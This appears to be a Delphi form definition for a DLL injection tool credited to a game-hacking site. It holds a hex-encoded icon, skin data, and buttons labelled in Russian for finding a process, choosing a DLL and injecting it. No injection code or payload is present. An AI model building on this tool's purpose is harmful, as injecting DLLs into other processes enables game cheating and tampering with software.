        FE192393FEF02393FEFF2393FEFF2393FEC90000000000000000000000002393
        FEFF2393FEFF2393FEFC00000000000000000000000000000000000000002393
        FE022393FEFC2393FEFF2393FEFF2393FEFF2393FEFF2393FE79000000000000
        00000000000000000000000000000000000000000000000000002393FE942393
        FEF92393FEFF2393FEFF2393FED42393FE060000000000000000000000002393
        FEFD2393FEFF2393FEFF2393FE97000000000000000000000000000000002393
        FE3C2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FE5A000000000000
        00000000000000000000000000002393FE062393FE682393FEF72393FEFF2393
        FEFF2393FEFF2393FE9C2393FE04000000000000000000000000000000002393
        FEA12393FEFF2393FEFF2393FEFF2393FEC62393FE2C2393FE1E2393FEBB2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEC32393FE952393
        FE812393FE842393FE7F2393FEAB2393FEFD2393FEFF2393FEFF2393FEFF2393
        FEF72393FE6F0000000000000000000000000000000000000000000000002393
        FE012393FED62393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFE2393FEDD2393
        FE25000000000000000000000000000000000000000000000000000000000000
        00002393FE032393FED92393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFD2393FEB52393FEF62393FEFE2393FEFE2393FEFE2393FEFF2393
        FEFF2393FEFF2393FEFD2393FEFD2393FEFB2393FEB72393FE4A000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        000000000000000000002393FEAD2393FEFE2393FEFF2393FEFF2393FEFF2393
        FEE92393FE0300000000000000002393FE242393FE1C2393FE682393FEEF2393
        FEF52393FEE72393FE272393FE262393FE160000000000000000000000000000
        000000000000000000000000000000000000000000000000000000000000FFC0
        01FFFF00007FFE00003FF803C01FF03FFC0FE07FFF07E0FC3F83C1F007C183C0
        01E1878000E0870000F00F0000700E0808700E1818380E1C3C380E1E3C380E1C
        3C38001C1C38000808700000007000000070800000E0000001E1060007C10F00
        1F831F81FF071F01FE070F01F00F0000003F0000007F800001FFE03007FF}
      OldCreateOrder = False
      Position = poDesktopCenter
      PixelsPerInch = 96
      TextHeight = 13
      object sButton2: TsButton
        Left = 8
        Top = 8
        Width = 105
        Height = 25
        Caption = #1053#1072#1081#1090#1080' '#1055#1088#1086#1094#1077#1089
        TabOrder = 0
        OnClick = sButton2Click
        SkinData.SkinSection = 'BUTTON'
      end
      object sButton1: TsButton
        Left = 8
        Top = 40
        Width = 105
        Height = 25
        Caption = #1042#1099#1073#1088#1072#1090#1100' Dll....'
        TabOrder = 1
        OnClick = sButton1Click
        SkinData.SkinSection = 'BUTTON'
      end
      object Button1: TsButton
        Left = 8
        Top = 72
        Width = 105
        Height = 25
        Caption = #1042#1085#1077#1076#1088#1080#1090#1100' DLL'
        TabOrder = 2
        OnClick = Button1Click
        SkinData.SkinSection = 'BUTTON'
      end
      object sEdit1: TsEdit
        Left = 119
        Top = 75
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 3
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object Edit1: TsEdit
        Left = 119
        Top = 41
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 4
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object Edit2: TsEdit
        Left = 119
        Top = 9
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 5
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object sStatusBar1: TsStatusBar
        Left = 0
        Top = 105
        Width = 277
        Height = 19
        Panels = <
          item
            Alignment = taCenter
            Text = '    By DenkA003 for GameHackClab.ru'
            Width = 50
          end>
        SkinData.SkinSection = 'STATUSBAR'
      end
      object OpenDialog1: TOpenDialog
        Filter = 'dll|*.dll'
        Left = 431
        Top = 7
      end
      object sSkinManager1: TsSkinManager
        ExtendedBorders = True
        InternalSkins = <
          item
            Name = 'Ubuntu (internal)'
            Shadow1Color = clBlack
            Shadow1Offset = 0
            Shadow1Transparency = 0
            Data = {
              41537A66050000000B0000004F7074696F6E732E646174A7300000789CDD1A5B
              6FB338F6BD52FFC3F607CCB7BE600C8A22952414500920422FDF8CE61B8D56A3
              DDA71D691EF6B1BF7DCFB1B101C721246DE7F650C7D0139FFBD5F9212BEB4D52
              16D543FDE3EDCD3E397469BB29BA7DD2ACF5C397CDBEB9BD794EDB435157EBE8
              0B21B737C95397D7EDFAF0CB6FFFFEE51FD9AFFFFDD77F7EFEEDD7FFDDDE6CEB
              125E5341E39851717B93D75DFF2A9452AA570F75D5BF83733675BB4B5BFDC843
              1A8741707BD36DCBF4A15B4701C013783EE4C9AE7EA1FD412CE48C89D0BEAE1F
              1E0E69B766F6C5A67C82C3F0ECD76D9E6E1FD3DDFA9E9058DC134A2358B8C485
              DDF37B45C0EB53E58291C080C11714D8619F94E51890062140CB187611C3EF51
              7B5ED6265F478701A6FE30F8CA709885D22785D29C04672AA836D915F5182112
              C5F03019E289D13DB36053CA10900803C8A80654108A2A4045184720DC717E4F
              15E5C5B6AEF2B46C1046A0A01477049738E8B943987D512108816F51112330A2
              9163906D591F527B8EB0E74C80AABADDDB8364640E8AB985C15392B2AECE1EB5
              4F5E674E3A0C54D300F9E6B1118E20231043B5060AB90132A80E23AA358CA006
              26641666423521B0508112A7B8B031498AEA5327656DD114FB24531451FCB230
              1640C2D0E8ECD024DB741DE0B62DB2BC5B87BD7DB9A61AD3DEC028B1027E06B7
              CF2AE587455737B8E9B69BBAEBEABDDEE3CB20A282736E7CF5A5D8753962D914
              8F69DAE44FE99AF6FCF4C6A31992D60023347B80E98AAE4CF35451C9D120D30A
              A24BEFBEDF318C3DAFFDBF59747B737BF3C3266921241DBAA44B0F88C58D2E9A
              2260F7F0B8FE86B2FE86DCC18EE18EE18E5077810FF8A3064193546939C1E29E
              0A5FA0B1841D871DA3B8A3418F0E14874BAC4E15786A860E099C3510D6E0634D
              8657BBA44BD6D53F1310459B54A0B936ADB65FD71403AA264689682026F046CB
              63CAC0C72D65C8F4B023EC1B90FA4D226513A444C566F7D503105A6569956C4A
              301D6A5E14A0A7A483E80FF2D15F9C90E5AA0579790223AA064EF831D4E4089B
              271C6B9BF04A225C84402D337CC7DD851B2D2C630432DF0BFE133FC9FA0E3F36
              5DF5A5A9B23B7A47EEF81DA025EED2C3EF93368390A2ED48391B84FE09C31306
              8F35EE8A5FBD5C463760DC151062B2011F3BE71D1005D031D05094F0C491634C
              BD63C8DC63BDEE8AE7020E9DE07534152BFDA083C431EE847115BD30BDB378BC
              AE90BEC26B2849D289630E021D6872DD4D9D30713811334E2559F5E5C58A462B
              BA1A1ECD6744BCAFD55BC7E407ECD368A903B0E6E001D2C405DA211CE5C2D16F
              05EA2988514C81BBB079ED64C95396CE46CC9970A20D44000A1A46B00B83B3E1
              336BEBA76662F6CCA7D0F7E1F1FA0920CF8BAA3B651EB6D874A41CD80C119EC9
              10A267719F564F4786782E945DE3F980AB81640F69B46BEBF20463C7392064D6
              DB02942DF1C6452B4C8FD11C27C033A62A987166A53F1ACDA334287E82A0F96E
              34B3E6D8B475D6A687433E93CE29552762D254095292F963CFC717636CAB18AA
              3B49E315C33842EC639FD1564CA8D7E6D17C0AEA7D8DEF0053D9427D66F29D54
              D68B31420A1B4AC7CBD870555FE049C39F9A950E5BB0DD120A199A4F909E2B3D
              3C618208557261AC885147829B2849229B4CA209CB03F6E7D3D84F73E9180A33
              06470394360F0CEA09115EFC6C86FBA5F84914F7FCABEA4EF36FB8D6B5E849FE
              D987F1CF03C37F285CD1C37FBDFC77954E8AD7D090955F9B5C51D0F7792422D8
              F470DC49DDC83A7492106BDFA80F7E8C0BAF43331F9D3866783795CC765701F6
              7A71E4A352D1A1A82448E04554AAB2E263C854C25464FA85A9EC4D93292F1526
              F48A1FA3F198198DC7B197486964A98ACBE5441E4AAC5DF3B9E255051DE56FB1
              30E187A85A4C8E76F6E833ECA8AE5D62D74E91312975D7EE10F43C4790440AB0
              EF51764EB5EF49EB8AAAD12373049D173A0F70A26026638071A0B249D3DD8256
              CE538D9E0D6F8A1311986416A9669ABA8B6DE8DE999706467E52D391BF003BC4
              C74ECF4D5974DDB80BE323A245144A26021FCDCBE505C73E1DCE8D5FE6EA52C6
              4CCDA68A6CE552930670DA0502CEAEAE4B17E31C860BCBD025851C8F38F48A2B
              C3E18A3255870DCF66138913FFE8CB364F99ADD8BBC095EC20E43AD363EEC2CD
              1868B11100E2EDE34423CBA3BA8E6CDB3CA9A0F2BFACE953FEA1BF6FE3A89AC7
              123347872CA6D2421F3E27506AC229B89E592BA8AED83EE675FBBD9AC66256A1
              3841C5F93850A5431D823CA76D3703B2586A2FE9C655F3D0FDFB2F41AEEC183D
              616A3195DB7ABFA92169FFE81FB4714C740CAD49F81B4AEE4D389A28CF0474F4
              761882A289251B5B2BBA0104C7480CCD046721940F7DDAB863B3039141D41E0A
              8CB82634B81D5738EDCF4CFBD63BB57D34DD1E0D7508189EFB4D1F0216C41B12
              85548611460FCE03C656B13461453FDB4D7FE630807B3E16982E5D5071429599
              43BFE0465C62C7374583D59047619E92E1487F43986E124C47D5FA0D1BD5371C
              D1E24EBE61A3FD46C95B3F24ADCB3C4DF4F4F07DD973D4EB3FFFE1BD3EF5F7FA
              D4DFEBFB5EF733C6EB7BFDBEB2C927D33FEE9F880D750215210FB83BDBB4800B
              A3D0752168ACA83B8843483ADE33DF71357907A797EEA2691F4F5CD5E378E89A
              EE8AEEC8B87410096D1091C3D08FF92289E7CADA7D1ECDFFB9F7160109995C23
              90C859C611CBC66335491DD7E6AA17023A31BB61D7464273CBFC97E330299B3C
              F910057D306D1393961E5978C4E57A8214038F2355FE5DF9DC27458583F1B9C6
              7574E533140EEF8ABD5C8880C7A3AA1BD2253D5185AB80EABBB1397191D3DFD8
              38F7AF6C7286FDE1C99280E9BF5F5D74397C4109E5BB594163D2577CAAE9D2D7
              C0C2EEA68391B68002ACC28B87CFBD01406BD9260D26004FA9E7BB9589DDC592
              EDD3DF403A76AF69996E7B54A7ECF3D2DA606955F9A9B701E79D24E2A110A11C
              AA583977DE898B7C12845148E42822842226411059554236DF9F709399CBD2B3
              05C5520F59623FDE7920FFD3A8B217A46EC1CEB4D77F3CB5138DB23804BF3F37
              FFB94C27208EA76657BF54FE9E745180F0F7A4B337AED07F4EC6D6AE25FBE850
              591C97714F3A2C6452675DA93AE2571DF1AB6ED6C7172456DB6E9A86D4F4A1B6
              41359BC17875E200F9FDF984F7BB06DCAB8437BAE877AFCA3EFDBABFC3C66C7C
              EDB5446DEAB611278934E0AEC68E7A8BAB6DDEDB49137F272DE73AE92BD5464F
              A88DAE6CB43077718E90686084C4422BA42303FFD861D598FFD1B06A2CC46138
              D533E719562D15986F58454F0CABE8B19D4F6DEE77F8518BC5EC5C9F7E3AEA5D
              9B6417FE70F5F29FBAF4139F4D91CDDE26FC8D7E63F97F3BAC77AE0B00000042
              746E487567652E626D7034DC0000789CED9D09409655DAF7CF38EF07B89B4B6A
              B9A7A20E9621E25A4AAC6EA5B956B8941B284259A28E9A228AD0F2A2A2802DA6
              18A25022A8A0936D16D6288A66E2D26A2EC0A480A6666F5FCD772DE79CFBDC0F
              38D5E4D33BF8713D0BCB03D773F3F37F2DE7DCE7DC3E30D4EB7341E6F95F4274
              828F6DFE24C47BF0F14FC28DBE5FE384100D6BF3E39F821F68FFFCE73F05DD5C
              E0D1081E7FFBA7D8BE6387D8F87AAA58FBD2CB62E8C69FC490D77E14435EFD1F
              31F8E51FC4E097AE8BC1C9DF8BE60B7F12CDE7FD289ACDB9249ACDBA2806ADBA
              2206AFB92A9A3EF5BD6836FB0771FBF4B3A269788918B4F23B3130FEB218F8E2
              2531083E360A3E266E0FBD2C1A3F7E0A5E879F0FBB229A4CF95A043D572E0297
              978AC0988B2228B654DC3EA55C341A7B5804447F2B02A2FE2102169788C0E80B
              2270E905317D6DA98858572E66AD2F17CFA4948BC6E32F88C6C1DF8ADB1EDA27
              1A0CD92B1A0CDC239A3C5E2A1A8E3820021695888005C5F0281201F38BC4D0E8
              123161C54511BEF6A278665DA9A8F7400EBC4F896834BA58D4F7DF2D1A3FFA0F
              D16854916810F8AEA8EF932DFCFF5A24FCE79D177E916785DFECB3C27FEE39F1
              C8F21211B2EA5BF1CCDA0BE299972F88A793E1BD879E1175FBBE211A3E7C5E34
              7CE8ACA8775F363CB68A3E338A85CFAC12D16BE2FBC277D637C2F7A96F84DF33
              6784DFD36784EF93A745D09C7F88A1F3BF1543E77C2306CEDC2766AD2911B5BB
              6F10B53D5F8363F85AD4F1DE028F4DA28ED74671DBA0D3A26E9F4C51B777BAA8
              DB2B4DDCF1D069D16EE437A2CB636784E7A47362C08C73C237E26BE11BF69508
              98552C8644168B814F7D2D462D3C2B0686BC2BA6C59D13B3128AC5AC9545A2FE
              80CF45FDFE9F89DAF7AC17B5BBAD13B5EF7E5534F0FF5234F0FD42D4E90EEF77
              EF4651C73345D4EEFAB268ECF78568DE2755B40BC814BE33CF8B0742E0D8A77F
              29063F05EF3961B7089AB44B3C157F5ED4EB7B52D4EB7D42D4EAF20A3CD68A5A
              9D9245FDFBE0DF79C049D172D017A2CBB02FC47D8F9F165E0F6E1501A167C4A0
              3060E65D28EAF68087D73151B363A2A8D9011E1DD7889AEDD7887ABD8E8B7A3D
              8F8B5AF0FD5AF0BD9EA33F178342BE1681E3B2855B9BD5C2AD6D82A873F727A2
              AEE7A7A26EB7A3A266DB6478C0EFDF058F76AB45AD76C9A2D65D49A256FB44D1
              D8EBA8A8EF9E28EEE803FAEBFA926837E098E834F0A468E5BD4E741EF0BA1834
              E52B31F0892F44E02399E2BEFE03C5A021A3C5C427C2C4D4905962795C82A8DD
              A940B8B55A2DEA74392CEA781C16355B278AFAF0B176DBD562C0D8532268FC67
              C2A34F8CE8E5BF52F88FCA1401A3B78A071E7A45048C7C4D0C1F9F2EC64DCF15
              A191EF8BDE03A68AB9CB8E88E793CF8AC8C5BB45CC8A0362DCE4E7C4C2A5F06F
              DA2649E4BE7D468C193B493CFBEC2271E1C2459197B74FFCFCF3CFE2C71F7F14
              57AF5E15A74F9F16C78E1D132FBCF0829833678E080B0B1393274F16C1C1C162
              F4E8D162D8B06162D0A041A25FBF7EC2DBDB5B787A7A8A7BEFBD5774EDDA5574
              EEDC59346DDA54FCF9CF7F167FBA8195BA165DF9E1A79FE01DFFB5FDFCD34F3F
              5C29772DB9919F1B59C96FF15FE45AFA5BFD97BA963BCDFF0597F21F7EC9AFE3
              DBFC50E472C1A9FECBFF53FC9796FDF0DB7C2BFBA1EC57FD2BFCE7FA77FB15FE
              4BCBFF4DEFF40EE5BFF80E55DB7FF1BFCB5EBF4359F12DECBFE4CAEFF38E76C5
              A58AFBBF71A9F9BDF0D97E28BB35FD1797FFC69C7F23FBB9FCA293FD571A0317
              8B9CEAFFE2E59BE31DED722580AAB8FF9BE9BEB237A8E2FE8B6FAAFB8A6F70D3
              FD17FFB1C75F7E73DD0B51EE64FF457FA8FFB29B94DA2CFBB9EC16F2EF72530A
              A3DD7E7071B27FA34F2971AEFF0B37A1ADAA6857748A2876B27F271DBF1EAF96
              39C3BD1065B788FF5227A813ED87D25BC3FF4DCFFDCACA6F09FFCEC2AFFE01AA
              BA7F27452F5AD92DE0FF82D3F0C33FC085AAEFDFC579EE8570A9FAFE9D96DDD0
              20C31539D37F91F38FDF89F204815679FF25377DE462DACF25A5CEF55FEAE4E3
              2F7575A67B215CABBA7FA7A60748104E4D0F90209CEDDF29433BCBAE5475FF4E
              4D6F90E0AABAFF9F9CEBFFA76AFFB7B67FE7BAAFB66AABB66AABB66AABB66AAB
              B66AABB66AABB66AABB66AABB66AABB66AABB66AABB66AABB66AABB66AABB66A
              ABB66AABB66AFB7D56D5D7E738DBBF5397C70AF18BD797A9F65FB5FD5775FD57
              FBFFDFF55FD5D7DF3ADB7F555FBFED6CFF4E5E9F5FE5F71754F5FD23CEF6EFEC
              FD47557D7F5355DFBFE674FF4EDDE054EEFCFD8FCEF65FD5F7CF3ADB7F55DF7F
              ED6CFF4EDFBFEFE664FF4E3C7EB75BE1FA0FCEF65FD5AF1FE2BC0A537E6B5C7F
              C6D9FE9D7EFD222765A03FECFA4BCEBE3E5515BDBE96750941275FDFCC39FE5D
              FE38FF55FDFA7B4EF77FF36BC01F7BFDC69B7FFC0ED7B7BCB9972FFDE3AF2F7A
              D38FDFF112BECEBE7E6C69D5BE3E6D95BFFEB0D3FD3BFDFAD555E8FAD8955EDF
              BBAA5FFFDCF9FEFFE4E2DCEBDB3BFBFAF94E3FFEAAFEFF2FFCA9D8CDB9FE7FEF
              FFAF51E4E4FFBFC3D9FE7FF9FF1FF94FFEFF5FFE33FC57F5FF3FC8F9FED97ECB
              FF6FF5DB3CB3FD86FF7FEA7FD17F8DCAECFFFE5B56A9AB5BD0FF8FFFB6FD7FE0
              FF7F7EA7DDE2FEAFFF6EBB95FD7F5F995D77F8E47AC5D7AFDBBEF9EBFD3BBA72
              7CE5BAE34F5DFF65FF95FBBCAE5EB96E39BDCE4FD677AFFFC2F1C36BD7E8B1EF
              D3ACAC435959DBB76767676F044B49D9B0710BDA6636FA7CC3869414782D3B7B
              FBF6ED59DBB33EDDF7FDF7FBAE91831BFABFF63DFFC0BE4F2323236747CE069B
              183C6EDCB8E0E0E0F1E327808D67C34FE13BC1F4DAC489F87391E8FF7BFEFD1B
              F9BFF6BDFC0BF67DBA6357C1CE9C1CB8E7E4A4A2BD9E9E9E9C9E9E9E91919C91
              019FE12DFD757A25E7F5D49C9C1DBB7628FFF0B8D1D15FC3BF6FDFB52F984EF6
              76B865239C2D6F2199356CABE547A4948288B209515656D6A75FECBB066CAFED
              ABFC1DAEE1ABF81E5F1C8B44537498CDF8F1436C3681BE198C8882091010FAE2
              1AD83E6454399D6BF806DFEFFBE2D31D053BD1D2249EF40CA2939C9C91047CE0
              037C929E8C9CD21110E081FB8E1D78FCDF1383CAFC5FBB7A8DECA383870EC21F
              8B7888CE861480835CECC68C48452CA26CFCA57DD7A455E25FDA47F1F31CE800
              074232D834FACE7894912614F962E447D2C9D57FE17F07D0D9B13377676E4E4E
              1AFCF99B000EA0412E4904083E2425E127F87932AB2867476A4E2A2022FF572B
              3BFEAB57AF5E81C747C718CF768CAD14A0C37088CE5AC356AF4546AB1951CA46
              25A1AC4FD1095A25FEAF92FFF8781B1D0907890CB59964848814210074EC2379
              A0373AFE4F0B0A403C993B77129DB44D18534C03B124252D49DA04373406944E
              8472529586CE577EFC57AE7C87F7F3070F129D2C8E2CA2B39AD92C86BB61F8F5
              5A42A4084138C2AF1E3C0F7ED097A37F7C832BE7E323E3593D2F4EB4E80C1E8C
              40060D1D641A33B208511A825F3DCF477A03FF053B0A0A327766E6E4E6E4329D
              64B4A48CB8B8B824B8C52525E94F50448808E2EC750AB31D0868C74770F4158E
              FF3BB2F3C70E827A0EA9BC9CA2E8AC25348BC096C14D1A7C632D23424296840E
              1EFBF8BBEF2E8337BBFFCBE49FC4837826CEC6A48C74249C418306DA4D324244
              E327601E0A96804E9C475F97EDFEE95B1F1FDB5190BF7367EEB6DCDCB4B4D44D
              6919E9184180640F71415BB264097D244C719B0010861EE5A1D49C5D44E818F9
              FFEEB2E9FFF2A5CB972F7F7C80F164716851649172900D725966187D0755B4DA
              20C4800E7D7C19CDE61FEDE3780B0F8867BCA203C24120FDFAF5EB0BD6079FE0
              73623467D0D0214C08D3D044E21319F9311EED2547FF973E06F1E41F01F540EA
              494D633A18547149124DF41269D14C8965440A4B4E97891A2504FE2FD98EFF12
              DADF0F1D3874087308A907F0283A241BB090654B972E0B095916021F96863024
              9011135212C2347DE8EFE4D0D17F3C07D76CC603B10578483A08A76F1F307AEA
              CD1FFAF4EDC72A2209C918A3341D195FB9FF1DF90599105C3B413C698807FFEC
              3D8A8DB46960F2D338B8ED918186B59F005112DAE1E0FF52F9A5F2F24B270F41
              F2915D0F641E16CFA2C5AC9BA54B81CAD2106DC067290342426B49421BA4820E
              659D2C077F97CA957FFCFC52F9C978997A264E1C2743CB80D31BEE86E1D71A11
              4419071929E8C5C8C89370BC60D6F1E3FB9D84CC5C9009E2C1E8DA44A1B587E0
              44C731976953A74D8D8D9D1A3B75EA54A4348D10A18C367190BD9E2AF1EC3A51
              4E44F4F11781FFA203B272A178DEE2CCC3910574403300250C6FF2FE5C08220B
              21468B290D6DC634CD2176E81B7468F1292A82AF141E508F8CADA1432D3A44A5
              4B1778D09D21F5958424A0791A10FA33FD23A082FC827C8507C483158BE8109C
              A95367804D970F30641485528A96519694C112A210FB865C4AF74565702B42ED
              1CD278403C32B40001C209631B01F711F84C984296729461AA5EBD668B05286B
              3FBA2CD3FE8B249ED99112CF04CC3C289E7E7D58385DC03CE0D6853FE92219C1
              ABFD181006D97806042176869C4AFF686728B8323311CF268C2DF89BE31229B2
              403704677A84BCC36DC68C88A933A662AC45838A9220538386242034F05F268F
              1F3F292B3B4578B0EDC1B2CE78583BA89B102433C234C41426112D62097112A2
              3276F854997E8332B4A253069EE0094A3C94767AF7FE0B42E96C33E2F4170AB4
              BE4468880DD029726AF92F3B85853D735B6E9AC443EA21EDB072222222C2E1A6
              9E2322A6464CC53B208AC630C34AA6921044D829F42EFDBB81FBFDB27239E281
              180A93709E1C311A6D143D33235411E6251963C0E7AD1448EEA8A0FD74D4FAF8
              F7DB824BE3E1C042E100118FAE641DF0C9A32B336211F55331660142FF6EEAF8
              DDCAF617309E9D69523D8988277A49EC540927227C64F848BCB38513240C3312
              11F05902ED50BA0EB15DFB118B1BFA77433B488D218E2936001E4A3D8807224B
              2A87C88CC2FBA85192D2088EB4102309C1B055256972CBFECBDCDCA874CD96EA
              81E09A0378A096031EA91DE4D201AC7DFB0E64C0A80B32030D61A2EEEB002872
              1E7A65FFF809241F00B42D97F0A4272741664E84D08A8D9D1141D2413063C982
              E0418822981044196721EA17011016B19DBBCEE2E197311E57D73387303763E5
              DA68AA87D20E4040206801A3027C0346C13D8029B1889E63428B17AF46401B36
              A2820E679D7145CFE8DFD5D5ED8C8C2E28EC947B30F5406C71E2E9DC19944368
              DA776483CF105357545517CED4FDB08E11202CF3E0EB0CB8757523FF6EAE67F2
              8FE453F2C1CA854D0F88276A4914A56382C36482A421A491630911A4EB694408
              B374068FEA713CBFEB8C1BFB7745FB1C838B7333562EC283050AF1A076984D40
              802F1B7C366A94424480300B51886DE614949DF5193966FF2E9FC5CBF98C7158
              D829B8FA515E663A9ACD5DF2C68C6C840010266928F3E382B10B32FDBB7E5640
              78766E4A4BC321050417E09986393914E8845B6CFCE06621424220AFA90C4856
              311AAEEEDEF5990B1E780D5717BC71ED423C29161ECACA400783CA3700A93CA0
              CCF7015FA5A2111462F0D332076DA622967D388B1CF3DD55753E907CEC783C30
              B03A209CF6C0C5308424358469A80F0302058DE7366876A4ABF40F37D7FC8202
              299F8C0CAA5CD14BA26267606CA176108E8F8F4F909F0FDCC082FC18128A289C
              8AD954CA41717BA0886564A08076EFDA759AFF00B4CF29F9E0A802BA66C2C375
              2B8CB58361E58B58FCB52123DF00096884AA63D84BAF517DE2E72EDA3EB7F040
              6E663C7DA9A6A378900EC3B9F3CE3BF1091ECCA8637B0F2DA13EAC2088306A83
              22679BFE513EDB72B771D7BC274EAA07C207230BF1F80501196F8403CFDE7007
              604C68E44800C40ADA8303326E836030C6FE4BF04E9D2147D716689A4D3C161D
              7FFFEE8631220A33945048085531CED1B20B2A71292961FFF1F16A4C3A610E26
              1F48CD7D39B6503C185740E44E9B75BC93008186BA769531D657010A1E371B73
              B43A7A9792FCCC23A89E4D987C20F724415D47F584129E3141CCC6DBDBBB877C
              787B077973A4A9209BCA0AE21494CA0A22E774A3490D900F259FD58487F9101E
              A0036CFCBB7B76F754A608F9FA521682141E82491A420C1BE9144A41874BF00D
              D05CECD105851D5333E1698F78EE926CEED076E71D779296504240880041151B
              3870B01161489F1E2E40279306ED19D417021E48CD319897C760DE41D178077A
              F7E8A1EEDEA820B87190458C841863404B9810F0D90D7CF80DC00E5167B87123
              9576920F8E26C228B602403BA81CA0D25399674F624484020890AAF330185BC3
              11969DCDBE4B4A4B4AB8B6078FB3A28B5373D70E1EEDB578004BF316CD1BB580
              A716884811C21893805040734840381B54A20DE4B38D1AE7746C0BA1ED89A2A6
              271C8B968F8FC6D3C3AB8797173E3323BF206F1F0B90CA414934A798FEB7DDBB
              F5E197F2B80B6B978187720FE2F1673C08C65DDE7A9A807C7596A63648D6B0ED
              DB4B4B4A4BD9BF6A7D26B07C2837131EA223E1B468DEBC7923B0168D1AC1672D
              EE302404803C8C1484356CE2BCC852F28D6F2293F3A6F474EA9A63513D907BC6
              8EA5D0A2C8022C60BDE88E909011869906C439282E490A08F8A0773639EEDA40
              C959271F2A5B9878A476241C77068488801BBC0E691A432C2C6C29E5684ED110
              60E0B884EEA5D4FA201FEE7C647475F530F0309CC6706F8C9010118B08014119
              E31C0D6DE22028F2D004418D2FD5962F5B1FEC9B13B16B5E0E751D826B0CD42C
              3F508E37D1E9D50BEE68C0A89704E407691A12F8C88891D369384663551ECAEF
              26D717F121E7C4A47C1619B999D232D22130EEADDCE53323220D0120CE4161B2
              C8AF5E0D0282F802DF17E90D2ECAECA3E543783CBA52E19274904D63C31A356A
              21358421D61EAA9887EE825840B32F5E54EF7044CA07F9209E9819D0F648F590
              78884EAF5E9DE88E0FF8BA8717808324E443591A1BA1A9D328C070565AF2C1B7
              003B84230B960FF6CD4B351E5F1B9E5660EE7C572AF2C418F35580A8862D5A2B
              6BFC456DC82798E4330792330D483BCBE8EA88785A683CF5EAD56B5C4F115280
              B88A75A1A1068CC460A4CA7C4AF9E82F5ECCCC4C93D9674F5C54340E2A4211CF
              183F520FE041E574B24C8A08350495DE4F0282E12AB7891998817276A3E7D2E2
              8BC5172FF2B8943A672D1FC6D3DD5F669E5644A755ABB6742752EE52419083A8
              CA538449016D800823D764B3CDE285D947261F0A2EA64370F06611C2206BA114
              A4529014D0BCE0E060705CACF8D0AC062467904F6CEC72C033726610F6837E94
              787A7931979660F88C883A511EF2EEC1658C01CD9001464DD0DFD03BFC0D70E7
              D619065E38E5B38CA36B14B53D523DEE84A7AD650CC85D030AE022065D2276D1
              50C22043A367B6C8480A2F2E5E987D60C0DEC1430617C4118BA79EDD94846415
              E308830CD477D0502E61C5DA7478019EA8693131D321BA20F9F8F861EAD1E201
              38ADE5A353CB4E1C655E98A4B19DC6D11875411061193C1D4DC77F01EF5958DC
              A975A6398D302D1F85C79DF1B469DB864C1272779721C6298804C45D3405983C
              F80BC51722657137B28F920FE49E462AB2EAD5AB4B564702C274DD1C434CD6B0
              2E2C201C65E0288C7C331F0C2FEC7DE212A3605C1143838A20CC3D201FC0D3A9
              1720012EADD1E0990075624054C6C068B4CA357E094D95E5B0FF0B6054DC3770
              7841F6792E8C8615987CB870493A6DDA3469D3048D0869403A05518A5E26032C
              251B1C17F383E4133C5EB6CEBDFF82F2694F6D21E41E2C5B8D259C3A6C75EB52
              948184204B0320AE613012FB0B74D11C60E383C749FF60D83AE3D002C22B2A0A
              1BE79133413EC087820BD543B20138EDE8DE1ABF624054C628478FA4228F7CF6
              6080A5E6B0FF6FE1C6E9678DEA7DACECD39DD5A3F1682311A91CA405045DF432
              04845389291BC835D96C195E8331BAFA58AD0F271F4507C0D4AE5B1B8C101121
              5010D479681F3903510F84A77D28C0A473301C7A516F08E1153B63BAC613C87C
              184FEB76EDE08E80889002E4E52D73343541B104885AA074624396A59A1F2C5E
              50BDA8F591D125E9B4253AB737B91DEE364040088B3C8C34781C0601B69603EC
              5B6D32FDC0C09DC3CBA38B1A56C8E8623CB5B5D595801ACB08E3B12A02EA6305
              98E57FDBB64DD4FC40782D598EF2194BC907E5D3CBC203609A2221E444844C40
              3E638320C0B0078AC6140D152C9D5CFF038DAABB0AAFA56161DC39B37C089081
              870C1901A056DC09A1806030AF4B3CF5D01B36FE431B3687137478F5F690D907
              F0A8E0023CA89D5A64ACA1BA54C8748AD602520136CEF24FE987C30BE5337326
